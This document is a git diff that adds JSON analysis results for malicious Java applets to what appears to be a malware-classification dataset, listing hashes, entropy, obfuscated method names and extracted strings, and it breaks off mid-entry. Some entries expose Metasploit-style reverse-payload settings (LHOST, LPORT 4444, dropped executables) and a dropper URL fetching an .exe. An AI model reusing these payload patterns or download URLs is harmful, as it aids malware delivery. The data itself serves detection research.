"parent_sha256": "bdcf7bbef2383e991871052ae098460777f200f18a9f618d01c47024da4a00e0"}}
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diff --git a/java_classification/data/malicious/be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7.results b/java_classification/data/malicious/be80aacca219c7d4515ef5e3caf038e69ef32e190a2ae67630c37e4c977abad7.results
new file mode 100755
index 0000000..ea6f843
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diff --git a/java_classification/data/malicious/bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c.results b/java_classification/data/malicious/bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c.results
new file mode 100755
index 0000000..4ffabfe
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@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "logo.java", "class_name": "logo", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "bpirJG1nCGxYP02loP", "KpTMnCGxYPVng11Yas1", "LGnCGxYPzgd11tY1gnhyyyt", "vbnounCGxYPVbC11Cc1h", "ccnCGxYPlppoed11", "bpirJG1Mg99nCGxYP9tloP", "KpTMVnCGxYP555551", "LG44443nCGxYP41gnhyyyt", "farber", "NyaFGj", "XHLIyM", "PPAdY0", "nCGxYP", "onEEdR", "<clinit>"], "minor_version": 0, "const_pool_count": 140}}, "_id": "dff183c9-b7b8-4f6f-bc31-7cd0339df2f2", "verbose": {"java": {"constant strings": ["", " ", "1", "0", "([a-z A-Z])"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b5cbfec3852439843edd2cd2d951d4fe1419264c", "file_name": "java_malicious/bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c", "_id": "dff183c9-b7b8-4f6f-bc31-7cd0339df2f2", "score": 0, "entropy": 5.500010722184036, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3095, "ssdeep": "48:KYsGnBjFtEyFl9uZ1896YqGPMGtyyzprpPIXBCD4Cb7Nys1p:tFl4Z21qx27B9aMPJ1p", "sha256": "bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c", "md5": "9dd45e121a26c165863c264f510f0b79", "parent_sha256": "bec8752e9e0b7e28c0700aaabdfd5f8063a10a6e3a326e283a85c387504c803c"}}
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diff --git a/java_classification/data/malicious/bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02.results b/java_classification/data/malicious/bedc94be4ca5051d093ee7e948acf5abd9195b82b7c91879c2e75d4a816beb02.results
new file mode 100755
index 0000000..d52a31b
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@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f.results b/java_classification/data/malicious/c0b727fc6d56ec99cd52fc7faeef646cdd55996ed235ea95fd44310d8d53463f.results
new file mode 100755
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diff --git a/java_classification/data/malicious/c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b.results b/java_classification/data/malicious/c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b.results
new file mode 100755
index 0000000..cbea6b4
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+{"characteristics": {"java": {"class_name": "nxRjXZqkoO/KCQWxQL", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "ec237ed4-6c65-42c9-89b6-361e3a54e519", "verbose": {"java": {"constant strings": ["nxRjXZqkoO.KCQWxQL", ".class", "/nxRjXZqkoO.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "nxRjXZqkoO.dat", "URL", "", "https:", "nxRjXZqkoO/KCQWxQLTrustManager.class", "KCQWxQLTrustManager.class", "AESPassword", "nxRjXZqkoO/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "nxRjXZqkoO.KCQWxQLTrustManager", "useFor", "java.net.URLConnection", "nxRjXZqkoO.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "KCQWxQL -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f86297dfa32b17f9851e1ca6898acbf4ca83f9f5", "file_name": "java_malicious/c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b", "_id": "ec237ed4-6c65-42c9-89b6-361e3a54e519", "score": 0, "entropy": 6.156599452832121, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMzDUBVe+WQGYThmUZxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1thgitmgyNvpvUrKYvCkgHzbDrDF", "sha256": "c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b", "md5": "d45ae97fde643999a716d6306f892d24", "parent_sha256": "c0d5c59d817bbe925020f73b890311246d70d0d6c2d9e8f197dc9e2658f64e9b"}}
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diff --git a/java_classification/data/malicious/c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5.results b/java_classification/data/malicious/c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5.results
new file mode 100755
index 0000000..82288eb
--- /dev/null
+++ b/java_classification/data/malicious/c0d932c29265961b7528af5a53e5bbb67100276af15edd254757d47baa2548b5.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/oditjfnmbqbgzco", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["tvbkomnswjrsfmtgo", "ecbwutuvcnumlyx", "fasnjalcgwgkrrxku", "xnhfjerwdsqvzowa", "<init>", "hrispcvtywtkbbd", "gaxmjnjgmvzvtmlvng", "iaqxptgzjkyqfkkqk", "xpznjotkmbgxsexgmrs", "xcuejmcdajjzabp", "tfehkrygz", "wdueohcuwukjwbuv", "vpunxenlyscvgzzfe", "bkurlxbxdfydpujxvbt", "aoqcrynryhddezpdzt", "jtdbuxzqmggxehlduh", "ydddbhhdd", "wxqeivkumhlqrduljxl", "jlgbzxfpmbobyqwaih", "klkilbphdvennfduw", "xywmvcndyijwirpvoev", "qfbdtxyjfcvsyhdb", "kqrfhenzdoqinmlklya", "ucoexevzyhymzgwtzdh", "zkpucffxhswxwls", "khbvfywtcifyqxv", "lorjunfzcbpanxmypo", "hlsofalqiqhsbgotsw", "jojswkxlaafzwfl", "qqiyovwxinfzgfu", "ennttilwfgegcporib", "ovvmlbguqcbdgwtzltv", "xeucxejavxawxrond", "ucvtmjpbbgfuesg", "logkjwdkxkwvxiyjdu", "qaxqoximzozkjzlux", "wmmicbdstxciqypf", "pljvwqdypvzpikwygre", "icerlrjrybnewvhmkal", "fsbuqgbagsfcgqtkg", "foksybazryiliaie", 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diff --git a/java_classification/data/malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4.results b/java_classification/data/malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4.results
new file mode 100755
index 0000000..956c059
--- /dev/null
+++ b/java_classification/data/malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/rdrhwutqqvwwm", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "nvlpggqqyc", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "4b406f1e-c1c2-4aff-a4c0-475713affaae", "metadata": {"mimetype": "application/x-java-applet", "sha1": "338d3c87aa80f1b0e5f5f7cbd020c7e88b7246c1", "file_name": "java_malicious/c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4", "_id": "4b406f1e-c1c2-4aff-a4c0-475713affaae", "score": 0, "entropy": 5.203881406510612, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6927, "ssdeep": "96:KMHm7HhYObF2z4nz+bdEsdtNo8pz2Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TOhhnzNGpzxhi/To55UTYwa5hGX1", "sha256": "c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4", "md5": "855325597ad2e7b6dd1c84bfac19073a", "parent_sha256": "c11066307eb145393459851e20d604479c2a1d4a8e34d551840fe1bb2d9e83d4"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569.results b/java_classification/data/malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569.results
new file mode 100755
index 0000000..5f5cd81
--- /dev/null
+++ b/java_classification/data/malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Matrix.java", "class_name": "Matrix", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "check", "a", "a"], "minor_version": 3, "const_pool_count": 173}}, "_id": "bca03620-fc74-4097-97f5-158a078c0181", "verbose": {"java": {"constant strings": ["no error", "os.name", "http://buytraff.biz/dl/loadadv525.exe", "\\\\loadnew.exe", "http://buytraff.biz/dl/cheat.php?adv=adv525"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d6f89a725fdea4bdba151a3fb2562ca50bae3581", "file_name": "java_malicious/c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569", "_id": "bca03620-fc74-4097-97f5-158a078c0181", "score": 0, "entropy": 5.887855071668516, "libmagic": "compiled Java class data, version 45.3", "file_size": 2945, "ssdeep": "48:9JrYyss0yFlS/vJ4RPfTwe5bj4ZKErZqHkZWyK/WcSkjfcB9GcJmIDnom1JeUX2u:LFlOhyfTaTtcSkjfcGcEk51rX2oh", "sha256": "c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569", "md5": "cf4ccad0075e6c6a93c3176e6e7a136a", "parent_sha256": "c15815c35d27d7be68679851f6cfb6d514818a071299096eeb8edb274b707569"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898.results b/java_classification/data/malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898.results
new file mode 100755
index 0000000..7874007
--- /dev/null
+++ b/java_classification/data/malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "ePzpU.java", "class_name": "ePzpU", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "pWqKuI"], "minor_version": 0, "const_pool_count": 66}}, "_id": "e2c6e082-3609-4e22-917a-91adfcb5ee98", "verbose": {"java": {"constant strings": ["d^", "+++X%8%", ")", "`}`fpq`", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "900c56c8e4b6f49d4591b61dcb8eaaeb631409e2", "file_name": "java_malicious/c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898", "_id": "e2c6e082-3609-4e22-917a-91adfcb5ee98", "score": 0, "entropy": 5.9141748338307005, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1569, "ssdeep": "24:RTKGxyQulxbgi9jfkZ65zppwg/nesHFBT3TIBuUQSLCU4gNXQd98VG3V:5dxyFlrjfXBPPeGnnIBuUQSLKqkF", "sha256": "c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898", "md5": "df6657f7f601721586f1c2037747b4ef", "parent_sha256": "c1672c989dfd55769768cd21add379c8e114595f2bfc3bf397d5be92b2528898"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498.results b/java_classification/data/malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498.results
new file mode 100755
index 0000000..034dedb
--- /dev/null
+++ b/java_classification/data/malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/lnhrsedimxdeas", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "qjqowtxixxdts", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "306cb280-8b76-4182-9fef-97ff7e5bb4fa", "metadata": {"mimetype": "application/x-java-applet", "sha1": "57aaaa1be5b2a60052af4aae013d22e9cfe74979", "file_name": "java_malicious/c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498", "_id": "306cb280-8b76-4182-9fef-97ff7e5bb4fa", "score": 0, "entropy": 5.207288143711535, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6941, "ssdeep": "192:TajOOcRXf6m8YHpPxhi/To55UTYwa5hGX1:qOBvhlJPyTofUTkc1", "sha256": "c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498", "md5": "beb22aa549371d9ed740848b8821e1f1", "parent_sha256": "c1702c16a8790d2c574af1877bde27c131e25aee221175f1e1d645a19d1cb498"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd.results b/java_classification/data/malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd.results
new file mode 100755
index 0000000..770b336
--- /dev/null
+++ b/java_classification/data/malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 89}}, "_id": "120e2117-83f7-4d89-9d5c-e4684cc4322d", "verbose": {"java": {"constant strings": ["Y0000000000000000IQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pn,pL,PZ,0z,0N,pN,pN,p9,yi,kw,pU,Pe,P3,oq,tL,av,Ps,07,pu,PL,Kc,pd,LN,kP,pG,lN,Mn,kS,XG,PK,0Q,mV,lp,3Q,dU,SM,FJ,KX,sl,K1,x7,xl,KZ,W0,jf,d2,yi,xN,o5,Pe,PU,PI,rZ,Yq,xr,O0,ng,pU,P1,xR,UQ,bP,l0,m0,Tk,OT,VL,KX,hk,Xc,I5,P7,pw,pn,kj,wC,wO,pU,o5,PR,Uj,ZQ,WB,wR,gO,pw,OW,pP,uK,JL,Kh,oa,Op,3K,yN,a8,l7,te,Qu,Ps,0n,kk,lP,QV,2s,cR,HU,Tc,1s,0g,pK,O3,ft,Lp,ZS,iP,Qp,Rl,Ks,2b,s2,cK,0u,kW,pQ,eh,zo,q1,kK,L4,np,er,XS,US,E4,CK,3z,KW,xM,YG,sz,gS,sT,DV,Np,eB,Xs,Uo,6G,3T,HE,PQ,Ko,zk,qT,Dt,pl,HW,5S,0d,sO,0R,pf,01,CR,w0,PY,oa,Ft,PL,Cz,Xe,PB,US,6s,ZW,qa,CK,O1,F4,Dp,Z6,9O,sz,bd,Da,QO,pw,J5,Pt,5L,tK,OP,Vd,HP,Qc,fl,Kq,e7,LN,kp,tE,ed,8c,3y,ep,Vl,KR,Vu,p3,3l,5u,c9,YQ,YQ,QL,mw,sO,5v,SK,kt,OM,n4,P7,HH,rt,4g,xK,qJ,kv,m5,SK,jg,0J,Ki,aU,ku,Or,UY,wq,NN,kc,nT,dW,sk,m2,FN,kT,Lb,kN,k1,Ng,lw,sy,MN,kE,TL,Kw,sY,UN,KQ,NR,yH,Cx,hG,pK,Ok,OK,On,n2,nT,NJ,Lm,Hk,NM,ZT,NQ,nk,hK,R2,SE,ck,zN,jQ,Kp,65,JD,o2,PQ,tQ,Rr,Ha,fS,0B,Ha,dC,DP,pT,zt,oT,or,VC,Yp,pv,Me,ap,1V,RF,Wd,nS,Sb,Op,mT,oS,Su,7P,iD,mP,bp,iR,N6,Oe,3P,oP,oB,L3,Up,rd,n3,QP,sp,pR,X5,oB,ir,dw,MT,q6,PE,bV,Sg,H6,Y7,Vp,fU,2u,mB,wF,6v,2b,Vs,UP,Ut,yc,EQ,tC,xT,0P,Ps,QR,Mb,Cw,BS,cf,7p,5Q,Gb,EP,lb,PC,if,32,Md,4Q,JP,Wc,vr,jB,Oa,CB,wt,0D,p3,Qq,U6,YT,1R,tp,Tr,zR,Lp,MT,pD,pu,bS,db,wR,Pp,vC,Qp,WP,F1,Hs,eS,gr,LB,pR,m4,pD,p4,rc,dt,pR,rB,Vs,Qb,uF,Qc,eB,wF,4r,vP,N3,Qb,K1,Ft,sP,TP,ls,b0,ZQ,qs,e6,XR,ZQ,D3,d1,JP,NR,v3,ub,Ku,b2,sV,7p,1a,W1,qV,Rf,2Q,dF,6R,Nb,Lp,kR,rD,rQ,hT,vp,WR,LQ,I4,u2,CQ,V0,pr,dq,CF,4S,TQ,zp,eR,MP,8P,yf,4E,bP,l0,Jc,U7,5e,ac,up,Sr,xu,8p,NP,Vg,7r,TT,0p,TB,Zp,NP,NP,Nr,K4,uQ,UQ,rt,rr,Lc,Xp,MV,P0,Je,cP,YR,vp,NQ,Zr,nV,Qb,ra,aQ,t1,Tr,L3,Zb,Eb,Mv,Y0,6v,46,R0,lP,Ka,tS,vR,P3,uB,v2,wR,L6,0R,mT,pf,PV,Rp,T0,Xp,pP,JP,NP,kp,lR,Qr,vp,TV,6q,qR,rv,QS,uS,HV,7q,Gb,PF,6r,mQ,VR,PR,h1,FR,tp,Jp,PF,6r,gq,ss,JP,TV,QV,2s,v5,5S,vp,ps,ep,Ub,MR,HR,nP,aB,LS,zP,tS,gp,lQ,tp,RP,Mr,L0,kB,Yp,Vp,mB,LU,16,61,UF,Ps,Js,cP,Wt,0P,0P,Op,Qq,5p,3q,T6,ED,s1,Tf,OR,NP,0V,Pq,qt,qt,pV,RT,sv,PP,4V,Xf,Pu,ap,rp,0v,TV,PT,ys,zd,qU,av,PD,pF,PP,6T,pe,a1,B0,aT,wQ,rr,E5,he,34,xR,BQ,G5,36,Vc,Rw,Ep,73,Q5,dU,3p,Xp,dS,Sa,rT,qv,Ye,fc,Tq,r0,Yg,IT,p3,Rv,QE,2S,Q1,tV,Qq,J4,pG,Cp,0P,0f,Sq,vF,S5,fw,pu,PA,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b8e0ffd7fcf69b9c3942941b31a0235b9e215039", "file_name": "java_malicious/c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd", "_id": "120e2117-83f7-4d89-9d5c-e4684cc4322d", "score": 0, "entropy": 5.971660981009569, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 4113, "ssdeep": "96:arFlO8/z5YhfT6Za455DpafkvqYiTX0epfzpH:aRld/z5yToJIfFDNzpH", "sha256": "c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd", "md5": "96aa1825827de1e2261d6cd7be19f692", "parent_sha256": "c1cbee11532d91dd9271e59e1a3d34abbeff6b9dc55ed8ee1a497ae80b5420dd"}}
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diff --git a/java_classification/data/malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793.results b/java_classification/data/malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793.results
new file mode 100755
index 0000000..a244fc9
--- /dev/null
+++ b/java_classification/data/malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "plwvHyjqtF/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "29991416-e5cc-40c5-aa30-0e639237ceb1", "verbose": {"java": {"constant strings": ["plwvHyjqtF.Payload", ".class", "/plwvHyjqtF.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "plwvHyjqtF.dat", "URL", "", "https:", "plwvHyjqtF/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "plwvHyjqtF/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "plwvHyjqtF.PayloadTrustManager", "useFor", "java.net.URLConnection", "plwvHyjqtF.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaGwbsiGV.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a0333acd54faa87922ac7aed38509a2c10853c79", "file_name": "java_malicious/c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793", "_id": "29991416-e5cc-40c5-aa30-0e639237ceb1", "score": 0, "entropy": 6.140238809459616, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMxDUBX+Wz5ThmkfxpIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tHXhtmizNvpvUrKYvCkgHzbDrDF", "sha256": "c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793", "md5": "e1b781cdb3319c4a0e4465401662bb77", "parent_sha256": "c1fd8aa27ebe6a974c2b65811a0e4a264afcee295b48a25f5e8a0e3f4c271793"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db.results b/java_classification/data/malicious/c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db.results
new file mode 100755
index 0000000..162047a
--- /dev/null
+++ b/java_classification/data/malicious/c211057314f92ecde9570e43de5bfb596a08e44e30ae614e00475f5d8d2695db.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c.results b/java_classification/data/malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c.results
new file mode 100755
index 0000000..f93fe6b
--- /dev/null
+++ b/java_classification/data/malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 89}}, "_id": "60ba8d89-5375-4d97-99cf-165ff2a2ac64", "verbose": {"java": {"constant strings": ["Y0000000000000000IQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,In,pL,PN,pn,pL,PJ,0n,pL,Pk,YK,K5,Pc,0e,PQ,O3,Tm,qP,0g,p5,Pe,PL,Ks,p6,lN,k0,pu,LN,Mn,ks,Xu,pK,0q,mD,Lf,Sc,D5,SN,vh,kl,3n,kr,HU,XN,kI,gP,jc,4p,Yz,Hn,ow,ps,0s,0y,rj,Y2,HR,Op,nW,pW,pS,Xa,e0,r2,L0,mC,dk,O6,vn,ky,xz,Hp,ye,P5,Pc,0n,kz,wg,7O,pe,o5,PP,uY,jw,7v,7S,wo,pw,O5,P4,5I,jn,kZ,O1,Od,sy,YO,qJ,L7,tu,Q7,pU,PN,ky,LF,1r,rS,ce,87,tf,aw,pW,pk,Or,v6,lP,Zf,9r,q2,rn,kT,Bp,SR,cm,Pu,kU,Pq,eh,zm,Q1,ky,lv,N0,eQ,h5,5D,5U,SO,s8,kE,XN,iV,cO,7W,3S,4v,Nb,Er,XP,eo,60,Cf,hU,P3,km,Z9,Qt,DF,PK,82,ew,pu,c9,Pr,pp,Pp,S3,gv,0k,Or,v4,PO,sI,hg,pB,U6,fQ,z7,qP,Sk,OF,6s,41,Jp,Yn,ci,RE,T7,1m,Pu,jG,pp,un,Ty,oV,65,Xb,qr,vN,k2,Ue,lN,kp,tP,5s,H3,3x,uP,VN,kd,6e,pW,sl,5f,Sk,ya,YQ,QL,mg,s8,EF,S9,Kd,Om,nf,pV,XK,BP,t6,hk,qJ,kt,MU,SJ,zQ,PZ,KZ,QU,k5,Ot,5X,gq,NN,k1,Na,4e,SK,m3,VL,Kt,Lb,kl,Kq,N5,LG,sK,mN,k7,tl,KC,3X,EL,kC,nb,yJ,cK,Xg,pY,oK,O9,oL,Np,ND,NJ,LN,xK,NM,ZD,N3,Nz,xM,2p,sT,s8,Jl,JQ,KP,6E,Jt,oP,pr,rC,UQ,r2,P3,YQ,tp,Q0,EW,p5,8S,DB,Tp,pG,Jt,oD,o0,pB,Oc,Zu,90,hv,NR,IB,N0,fr,Ov,Op,pC,Qq,wa,uT,oP,ns,Up,wR,Sd,nr,PQ,xT,0F,OR,N0,0P,00,84,qf,Pv,Vt,rT,p6,Qt,sD,pU,db,RT,p4,td,pT,y3,zV,Qp,1V,Pt,pF,PV,VF,Pv,Qp,Rg,G6,SD,vU,2t,wa,uD,y0,06,7b,ET,xQ,q1,qv,Vq,t1,t3,QF,8w,F5,eT,pp,ce,ia,ru,fb,Cv,9t,rD,yd,pD,uP,ag,EV,R0,dP,Zv,Pv,Qt,p4,pp,fd,pV,WV,Pw,pS,0A,", "41,25,25,25,25", ",", "", "0000000000000000", "IIIIIIIIIIIIIIII", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f9d307a558bd6d732231485f48385d78713189cf", "file_name": "java_malicious/c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c", "_id": "60ba8d89-5375-4d97-99cf-165ff2a2ac64", "score": 0, "entropy": 6.120939007495899, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3255, "ssdeep": "48:aTu9yFlw5vOa7cUCyKfhZhxEP0tiqzcqJC0rgqJIKFis+5XBUHeVrnPgpIzBHFhH:arFlOvOe6y6FEcEtYqYiTX0epfzpH", "sha256": "c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c", "md5": "a79fbfdead879b5ffcd1d89d73a6a6d8", "parent_sha256": "c23f6e5f632eefa0af85eb30bc25718e55b7ae4cfb161a8996844aa6741e4d9c"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7.results b/java_classification/data/malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7.results
new file mode 100755
index 0000000..da091a3
--- /dev/null
+++ b/java_classification/data/malicious/c247a922606b015069a75e92685fc569040a901bcfb44217003a8490c5d7b2c7.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/keyt", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "eahjyjhjqhrpacv", "dhkdulsvvxvowgelr", "kadndjleyiequuf", "xmyrdwuqtzggrnmg", "yxssphnwwoepevsnck", "wuuvjrymjabtggzocmh", "xmtmqfldwwrkndcysm", "uozgywtueyfkvzkd", "udbgodczqycqeextxr", "go", "vliryngftjxymkqikb", "defcls", "nqamiajjotowxpjll", "kggontrzvjcuatr", "jgalocnytvndogdm", "<clinit>"], "minor_version": 0, "const_pool_count": 296}}, "_id": "1f16a100-e16c-45c7-93f1-bbe1e2005926", "verbose": {"java": {"constant strings": ["lgpb", "ba", "yjpqsjqpbyklbcvvkco", "ldtibcfyuhfwkz", "dunevvuqau", "ppj", "eiimfzdjhoepihjxxl", "xkqqbfxapxcrjah", "fszkstfetejamjgjohrafg", "b", "", "mzratbufwpjhcnxeujfcztgrik", "ynfxfgffeuiqswxeyvfa", "aqiatjctcqhzpprczaazg", "lhkddmvygvgafeockpbeznhunqlyz", "aabxkpjfidalmqqwf", "juuqxercwpgiszoyzvufd", "zwchknuxpjgcdpsh", "zvnid", "kbnvlx", "ibfpgnsydaliges", "gztbbgvsfmuogclicdg", "gftop", "zdavenloasryhrwyxagsjcnhcgmav", "nff", "mxckwgnzcu", "mofuvalefpaoh", "xaicqckqwxmkmqpmxspf", "zeemdwdcptgyhlyknadokxjgw", "qkhgzdrzeptktf", "qodbiwdcjznpbiqoyce", "vojlfwtc", "fhzzxzrdwnos", "yqdavmcpfzxqtmvakvgijoffu", "fuqgo", "bqpodxiwu", "ehcpkikslcq", "kxhfoboogqvnbceiavmwwjbrxcl", "jwjxmdntojb", "jx", "uxxsevqeeuvvaosq", "qyfleuiqztsq", "dfnmwtczsbfstxq", "jm", "oevxwhtaye", "xggbqohfzzvbzrgrgfpmbiwmt", "rwsdyjascxddeblr", "aoroduobepfjeyprfw", "kmd", "wjsqcazsqsyq", 